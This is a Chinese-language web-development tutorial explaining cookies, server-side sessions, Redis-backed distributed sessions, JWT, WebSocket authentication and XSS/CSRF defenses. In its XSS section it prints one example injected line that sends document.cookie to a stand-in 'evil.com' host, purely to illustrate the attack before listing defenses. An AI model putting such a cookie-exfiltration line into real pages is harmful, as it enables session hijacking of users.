前端看后端 13:什么是 Cookie 和 Session?

专栏第十三篇,网络与协议篇第六章。上一篇结尾我们留了个悬念:HTTP 是无状态的,那服务器到底是怎么"记住"一个登录用户的?你在淘宝登录完,为什么点进购物车不需要再输一次密码?这背后的主角就是今天要聊的两个老伙计------Cookie 和 Session。顺便,我们也会把前端面试里常考的 JWT、XSS、CSRF 一起串起来。


一、问题的根源:HTTP 是个"失忆症患者"

还记得 HTTP 的特点吗?无状态(Stateless)------每一次请求都是独立的,服务器不会记得你上一秒干了什么。

场景模拟

  1. 你打开淘宝,输入账号密码,点击登录。
  2. 服务器校验密码正确,返回"登录成功"。
  3. 你紧接着点击"我的购物车"。
  4. 问题来了:服务器收到"查看购物车"的请求,但它根本不知道你是谁!因为 HTTP 不会自动携带"我是刚才登录成功的那个用户"的信息。

如果不解决这个问题,你每点一个链接都要重新登录一次------这显然没法用。

我们需要一个机制:

让客户端在后续的请求中,自动带上"身份证明"

这就是 Cookie 和 Session 要解决的问题。


二、Cookie:浏览器里的"身份证复印件"

Cookie 是保存在浏览器(客户端)里的一小块数据。

1. 它是怎么工作的?

第一次登录(服务器发证件):

http 复制代码
客户端                           服务器
  |  POST /login (用户名/密码)    |
  |----------------------------->|
  |                              | 校验成功
  |  HTTP/1.1 200 OK             |
  |  Set-Cookie: sessionId=abc123|<------- 服务器说:把这张纸条存起来
  |<-----------------------------|

服务器通过响应头 Set-Cookie,命令浏览器存一个键值对。

后续请求(浏览器亮证件):

http 复制代码
客户端                           服务器
  |  GET /cart                   |
  |  Cookie: sessionId=abc123    |<------- 浏览器自动带上纸条
  |----------------------------->|
  |                              | 查表发现 abc123 对应"张三"
  |  返回张三的购物车数据         |
  |<-----------------------------|

💡 关键点 :浏览器会自动做这件事。只要域名匹配、未过期,浏览器每次请求都会自动携带 Cookie,你不需要写任何 JS 去手动附加。

  • 存储在客户端:浏览器或本地硬盘里。
  • 自动发送:每次匹配的 HTTP/HTTPS 请求都会自动携带。
  • 大小限制 :约 4KB
  • 不可跨域a.com 的 Cookie 默认不会发给 b.com,这是安全底线。

为了安全,Cookie 有几个关键开关,一定要记住:

属性 作用
HttpOnly 禁止 JavaScript 访问 Cookie(document.cookie 读不到),防 XSS 神器
Secure 只允许通过 HTTPS 传输,防止中间人劫持。
SameSite 限制第三方上下文发送 Cookie,防 CSRF。取值有 Strict / Lax(默认) / None
Expires / Max-Age 过期时间。不设置就是会话级 Cookie,浏览器一关就没了。
Domain / Path 限定 Cookie 生效的域名和路径。

🔒 实际项目里,敏感的登录凭证 Cookie 基本都是 HttpOnly + Secure + SameSite=Lax 三件套起步。


三、Session:服务器里的"档案袋"

如果说 Cookie 是"身份证复印件",那 Session 就是公安局里的"户籍档案"

Session 是存储在服务器端的一块数据(可以是内存、Redis 或数据库)。

1. 它是怎么工作的?

  1. 用户登录,服务器校验密码。

  2. 服务器创建一个 Session 对象,里面存用户信息:

    js 复制代码
    { userId: 123, username: 'zhangsan', role: 'admin' }
  3. 服务器给这个 Session 分配一个唯一 ID,比如 abc123

  4. 服务器通过 Set-Cookie: sessionId=abc123 把 ID 发给浏览器。

  5. 浏览器后续请求自动带上 Cookie: sessionId=abc123

  6. 服务器拿到 ID,去 Session 存储区查对应数据,就知道用户是谁了。

2. Session 的特点

  • 存储在服务端:内存、Redis、数据库都可以。
  • 更安全:敏感信息(用户 ID、权限)存在服务器,不会传给客户端。
  • 消耗服务器资源:每个在线用户都要占一块存储空间。

四、Cookie 和 Session 的关系(核心)

很多初学者会以为 Cookie 和 Session 是二选一,其实它们是配合使用的:

Session 的运行依赖 SessionId,而 SessionId 通常就存储在 Cookie 中。

lua 复制代码
Browser                        Server
  |                               |
  |  Cookie: sessionId=abc123     | ---> 查 Session 存储
  |-----------------------------> |       |
  |                               | <----- { userId:1, name:'Alice' }
  |  响应数据                      |
  |<----------------------------- |

打个比方:

  • Cookie 是你手里的取餐号
  • Session 是后厨柜子里对应的那碗面
  • 你(浏览器)每次去柜台都亮出取餐号,后厨根据号码找到你的面。

如果没有 Cookie,Session 还能用吗?

技术上可以,把 SessionId 拼在 URL 后面(/page;jsessionid=abc123)或藏在隐藏表单里,但这种方式既丑又不安全,基本已经被淘汰了。


五、分布式系统里的 Session 怎么办?

单机服务器把 Session 存在内存里没问题,但如果是 10 台服务器的集群呢?

  • 问题:用户第一次登录打到 Server A,Session 存在 A 的内存里;第二次请求被负载均衡打到 Server B,B 找不到 Session,用户就被踢下线了。

常见的三种解决方案:

  1. Session Sticky(粘滞会话) :通过 Nginx IP Hash 让同一个用户永远打到同一台机器。
    • 缺点:机器宕机 Session 就丢了,扩容也麻烦。
  2. Session Replication(Session 复制) :每台服务器都把 Session 同步给其他机器。
    • 缺点:网络开销大,节点多时是灾难。
  3. 集中式 Session(主流方案) :把所有 Session 存到 Redis 里,所有服务器都去 Redis 查。
    • 优点:无状态应用服务器可随意扩缩容,Redis 还能自动设置过期时间。

🌱 现在几乎所有正经的后端项目,都会选择 Redis 集中式存储 Session


六、痛点与 JWT 的崛起

随着前后端分离和微服务兴起,Session 模式暴露出一些问题:

  1. 服务器有状态:必须存 Session,难以无限横向扩展。
  2. 跨域 / 跨服务:A 站的 Session 不能直接给 B 站用,做 SSO 单点登录很复杂。
  3. 移动端不友好:Cookie 是浏览器的东西,原生 App 用起来十分别扭。

于是 JWT(JSON Web Token) 登场了。

JWT 的核心思路

服务器不存 Session 了!

登录验证成功后,服务器签发一个 Token(一串带签名的字符串)给客户端。 客户端每次请求都带着这个 Token。 服务器只负责验证签名真伪,本身不存任何状态。

Cookie/Session vs JWT

特性 Cookie / Session JWT
服务端状态 有状态 无状态
存储位置 Session 在服务端,ID 在 Cookie Token 存在客户端(Cookie / LocalStorage / 内存)
扩展性 差(依赖 Session 存储) (只要有密钥就能验签)
注销 / 改密 简单,删服务器 Session 即可 ,Token 到期前一直有效,需配合黑名单
带宽开销 小(只传 ID) 较大(Token 自带 Payload)
适用场景 传统单体 Web 前后端分离、微服务、移动端、SSO

选型建议:

  • 传统单体 Web 应用(后台管理、OA):Cookie + Session,简单安全。
  • 前后端分离 / 微服务 / App / 开放 API:JWT 更合适。
  • 需要严格即时失效(支付、金融):Session,或者 JWT + Redis 黑名单。

⚠️ 很多新手以为 JWT 天生更安全,其实不是。JWT 一旦签发就无法作废,且 Payload 只是 Base64 编码(不是加密),千万别把密码等敏感信息塞进去。


七、与 WebSocket 的联动

上一篇我们刚学了 WebSocket,它同样需要鉴权。

WebSocket 握手时怎么做身份认证?

关键点:WebSocket 的握手是基于 HTTP 的 ,所以浏览器在发起连接时会自动带上 Cookie

js 复制代码
// 客户端
const ws = new WebSocket('wss://example.com/ws');

// 服务器端(ws 库)
wss.on('connection', (ws, req) => {
  // req 就是握手时的 HTTP 请求对象
  const cookies = req.headers.cookie;
  // 解析 cookie 拿到 sessionId
  // 去 Redis 查 session,确认用户身份
});

这也是为什么很多实时推送系统仍然沿用 Cookie/Session 做鉴权------浏览器天然帮你带上了,省事。

如果是移动端或第三方客户端,没法用 Cookie,就会在连接 URL 上带 Token:wss://example.com/ws?token=xxx,注意用 wss:// 加密并配合短期 Token。


八、安全警告(必读)

讲到身份认证,两个攻击手法必须认识。

1. XSS(跨站脚本攻击)

黑客在你的页面注入恶意 JS,偷走用户的 Cookie,然后冒充身份。

js 复制代码
// 攻击者注入的代码
new Image().src = 'https://evil.com/steal?c=' + document.cookie;

防御:

  • 关键 Cookie 设置 HttpOnly,让 JS 读不到。
  • 前端渲染做好转义,避免 innerHTML 插入不可信内容。
  • 启用 CSP(内容安全策略)。

2. CSRF(跨站请求伪造)

黑客诱导用户在 evil.com 上点击一个链接,利用浏览器里存着的 a.com 的 Cookie,冒充用户向 a.com 发请求(比如转账)。

防御:

  • Cookie 设置 SameSiteLaxStrict),从源头上阻止第三方携带 Cookie。
  • 关键操作加验证码或二次密码。
  • 使用 Anti-CSRF Token。

一个有意思的点:JWT 如果存在 LocalStorage 里,不怕 CSRF(因为不会自动带),但怕 XSS;存在 Cookie 里则相反。没有银弹,只能根据场景权衡。


九、总结

  • Cookie载体。存在浏览器,用来自动携带少量数据。
  • Session内容。存在服务器,用来记录用户状态。
  • 关系:SessionId 通过 Cookie 传递,二者配合实现登录态。
  • 演进:单机 Session → Redis 集中式 Session → JWT 无状态 Token。
  • 现状:传统 Web 仍是 Cookie/Session 的天下;前后端分离和微服务时代,JWT 分走了大半江山;而在 WebSocket 鉴权等场景下,Cookie/Session 依然好用。

写在最后

身份认证这套东西看起来琐碎,但它是几乎所有业务系统的基石------登录、权限、风控、审计,全都建立在"知道你是谁"之上。

理解了 Cookie/Session,你就能看懂:

  • 为什么有些网站关掉浏览器就退出登录了(会话级 Cookie);
  • 为什么大企业内部系统常常几天就要重新登录一次(Session 过期);
  • 为什么 App 喜欢用 Token 而不是 Cookie(无状态、跨端友好)。

下一篇我们来聊一个前端几乎天天踩坑、却很少有人真正讲清楚的东西:什么是 CORS?跨域到底是怎么回事?预检请求(OPTIONS)又是什么? 敬请期待。

如果这个系列对你有帮助,欢迎点赞、关注、收藏三连,我们下篇见 👋

相关推荐
月月大王的3D日记1 小时前
Three.js 入门系列(7):让甜甜圈围着我转 —— 3D文字生成
前端·javascript
gitboyzcf1 小时前
mpegts.js解决Chrome无法播放7568×142分辨率报错 DOMException问题
前端·后端
yio_yin1 小时前
MyBatis
java·前端·mybatis
棒棒的唐1 小时前
非常棒的向量数据库chroma的前端管理工具及向量模型配置
前端
程序员-Benothing1 小时前
Java ForkJoinPool 详解:从分治思想到高性能并行计算
java·开发语言·后端·面试·职场和发展
芭拉拉小魔仙2 小时前
前端文件下载与错误处理实战指南
前端
山水洛行3 小时前
都在聊Context Engineering图工程,可你说的图和他说的不是一个图
后端
Yao8063 小时前
MinIO自建对象存储,省OSS费用的完整方案
前端·后端
Ai拆代码的曹操3 小时前
深夜告警风暴:Dubbo 异步调用回调丢失 300 次——一个 tech lead 的自述
后端·dubbo